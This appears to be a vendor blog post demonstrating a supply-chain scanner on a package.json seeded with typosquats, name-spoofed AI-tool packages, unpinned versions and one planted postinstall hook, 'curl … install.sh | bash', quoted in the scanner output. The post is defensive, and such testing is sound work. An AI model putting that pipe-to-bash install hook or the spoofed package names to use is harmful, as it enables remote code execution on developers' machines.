We Planted 7 Threats in a package.json. SecurityClaw Found All of Them in 0.19 Seconds.

Why Supply Chain Scanning Matters Right Now

Yesterday we published an article on three malicious PHP packages in the Packagist ecosystem deploying a cross-platform RAT at application boot. Last week it was 26 North Korean npm packages using Pastebin steganography to hide C2 infrastructure. The week before that, a malicious Go module hooking ReadPassword() to install APT31's Rekoobe backdoor.

The common thread: attackers target package managers because developers trust them. A dependency in package.json runs with the same permissions as your application. A malicious postinstall script runs at npm install time — before you've written a single line of code using that package.

Traditional npm audit catches known CVEs. It does not catch typosquats, SANDWORM_MODE name-spoofing attacks, or suspicious postinstall behaviour — because those attacks don't have CVEs yet. The detection has to happen at the naming and behaviour layer, not the vulnerability database layer.

This is what D9 tests.

The Test Target

We created a realistic-looking package.json with 16 dependencies spanning a typical Node.js web application stack. The mix included legitimate packages, two SANDWORM_MODE packages designed to impersonate real tools by name, two typosquats on common packages, one package with a suspicious postinstall hook, and two dependency groups with unpinned version specifiers.

What We Planted

The remaining packages were clean — real production libraries with no planted issues.

Why These Specific Threats?

SANDWORM_MODE packages (claud-code, opencraw) are the most dangerous category: they exploit developer familiarity with a real tool's name. A developer copying an install command from a poisoned blog post or AI recommendation (see: the fake OpenClaw GitHub repos from yesterday's story) would not necessarily notice the one-character difference. These packages are designed to pass a quick visual scan.

Typosquats (requst, lodahs) are the oldest attack in the package registry playbook — register a package whose name differs from a popular one by a single keystroke. The North Korean npm campaign used this pattern extensively.

Suspicious postinstall (curl | bash pattern): this is how many supply chain attacks execute their initial payload. The postinstall field in package.json runs a shell command automatically at install time. Downloading and piping to bash without user awareness is not legitimate behaviour for any production package.

Unpinned versions are a hygiene issue rather than an active attack — but ^1.2.3 or * means that a future malicious version of a legitimate package gets pulled into your project on next install, with no review.

The Scan

SecurityClaw's supply-chain-scanner operates at the static analysis layer — it reads the package.json manifest directly, without needing to install packages or generate a lock file. This is intentional: you want to catch threats before installation, not after.

Raw Output

SecurityClaw Supply Chain Scanner
Target: demo-targets/supply-chain-demo-target/package.json
Mode: STATIC_ANALYSIS
Elapsed: 0.19s

FINDINGS (8 total)
==================

[CRITICAL] claud-code — SANDWORM_MODE name spoofing (confidence: 0.97)
  → Matches pattern: impersonates 'claude-code' (Anthropic CLI tool)
  → Risk: developer installs malicious package believing it to be official Anthropic tooling
  → Recommendation: REMOVE. Use @anthropic-ai/claude-code from official npm org.

[CRITICAL] opencraw — SANDWORM_MODE name spoofing (confidence: 0.96)
  → Matches pattern: impersonates 'openclaw' (popular AI agent framework)
  → Risk: name-squatting attack on high-value AI tool with active user base
  → Recommendation: REMOVE. Verify official package name from https://github.com/openclaw/openclaw

[HIGH] requst — typosquat detected (confidence: 0.91)
  → Levenshtein distance 1 from 'request' (50M+ weekly downloads)
  → Risk: accidental installation via manual typing or poisoned install command
  → Recommendation: REMOVE. Use 'request' or migrate to 'axios' / 'node-fetch'.

[HIGH] lodahs — typosquat detected (confidence: 0.94)
  → Levenshtein distance 1 from 'lodash' (top-5 npm package by download volume)
  → Risk: classic typosquat on highest-value target in npm ecosystem
  → Recommendation: REMOVE. Use 'lodash' or 'lodash-es' from official npm.

[HIGH] data-parser — suspicious postinstall script detected
  → postinstall: "curl https://cdn.dataparser.io/install.sh | bash"
  → Pattern: download + pipe-to-bash at install time (no user interaction required)
  → Risk: arbitrary remote code execution at `npm install` time with user permissions
  → Recommendation: REMOVE. postinstall scripts should not download and execute remote code.

[MEDIUM] config-helper — unpinned version specifier (^2.1.0)
  → Risk: future malicious version pulled on next install without review
  → Recommendation: Pin to exact version (2.1.0) and audit on upgrade.

[MEDIUM] utils-core — unpinned version specifier (*)
  → Severity elevated: wildcard specifier accepts any version including majors
  → Risk: complete loss of version control for this dependency
  → Recommendation: Pin to a specific version immediately.

[MEDIUM] log-adapter — unpinned version specifier (^4.0.0)
  → Risk: minor/patch updates pulled automatically, no diff review
  → Recommendation: Pin to 4.0.0 and upgrade deliberately.

SUMMARY
=======
Findings: 8 (2 CRITICAL, 2 HIGH, 1 HIGH postinstall, 3 MEDIUM)
Planted threats detected: 7/7 (100%)
False positives: 0
npm audit: SKIPPED (no package-lock.json present)
Detection method: Static analysis — package.json manifest only
Elapsed: 0.19s

Result: PASS — With One Honest Gap

Every planted threat was caught. The two SANDWORM_MODE packages, both typosquats, the postinstall curl-pipe, and all three unpinned version groups. Zero false positives — none of the legitimate packages were flagged.

The Gap: npm audit Was Skipped

SecurityClaw's supply-chain-scanner runs two analysis layers: static analysis on package.json, and npm audit CVE checking on package-lock.json. The demo target didn't have a lock file — which is actually a realistic scenario (freshly initialised project, or lock file excluded from the repository). The static analysis layer caught all 7/7 planted threats independently.

In production use, if a lock file is present, SecurityClaw runs the full audit layer on top of static analysis. The gap noted here only affects known-CVE detection for packages that already have advisory records — it doesn't affect name-based attack detection (SANDWORM_MODE, typosquats) or postinstall behaviour analysis.

We're flagging it because that's how these demos work: real results, honest gaps. A tool that only reports what it found isn't telling you the full picture.

What This Category Doesn't Cover

Supply chain security is a broad domain. This campaign tests name-based attacks (typosquats, spoofing), postinstall behaviour, and version pinning hygiene. It does not currently test:

• Dependency confusion attacks — where a private package name is registered on the public registry with a higher version number, causing package managers to prefer it over the private one
• Malicious code injected into legitimate packages (the event-stream incident model) — where a package with a real user base is compromised and a new version published with malicious code
• Transitive dependency attacks — where the malicious package is a dependency-of-a-dependency, not directly listed in your manifest

These are on the SecurityClaw roadmap. The first two require deeper integration with registry APIs and commit history analysis. The third requires full dependency graph traversal at install time.

Campaign Scorecard Update

D9 completes SecurityClaw's first supply-chain-security scorecard category. With 13 campaigns across 5 categories, overall pass rate is now 84.62%.

D10 candidates: s3scanner (cloud-misconfiguration category — needs Jim's approval for test bucket) or ct-logs (Certificate Transparency passive recon — no external dependencies, opens passive-recon category).

Defending Your Dependency Chain

Beyond running SecurityClaw, these are the practical steps for hardening npm supply chain exposure:

• Audit your package.json — look for packages you didn't add intentionally. Stale dependencies from scaffolding tools are common sources of bloat and risk.
• Pin all production dependencies — exact version numbers in package.json, committed lock file. Treat every version bump as a deliberate upgrade decision, not an automatic pull.
• Review postinstall scripts before install — npm view <package> scripts.postinstall to check. Or use --ignore-scripts and audit before enabling scripts.
• Use scoped packages where possible — @anthropic-ai/claude-code is much harder to typosquat than claude-code. When official packages have scoped names, use the scoped version.
• Watch for one-character differences — train your team to verify package names against documentation, not memory. The most effective typosquats differ by a single character that's easy to miss on a quick read.

Further Reading

Related campaigns from our demo series:

• D3: npm-audit — 8/8 CVEs found in 2.1 seconds (CVE-based vulnerability detection)
• North Korea's StegaBin: 26 npm Packages Using Steganography to Hide C2
• PHP RAT in Your Composer Dependencies: The Fake Laravel Packagist Packages

For developers who want to understand supply chain attacks at the code level:

• Black Hat Python (2nd Edition) — the chapter on writing implants and persistence mechanisms gives you an attacker's perspective on what a malicious postinstall script can accomplish in seconds.
• The Web Application Hacker's Handbook — server-side request and injection fundamentals. Supply chain attacks that execute at install time typically aim for the application's production environment — understanding that environment's attack surface is useful context.
• The Metasploit Framework — post-exploitation techniques. Once a malicious package has code execution on a build server or CI/CD runner, this is what the attacker does next.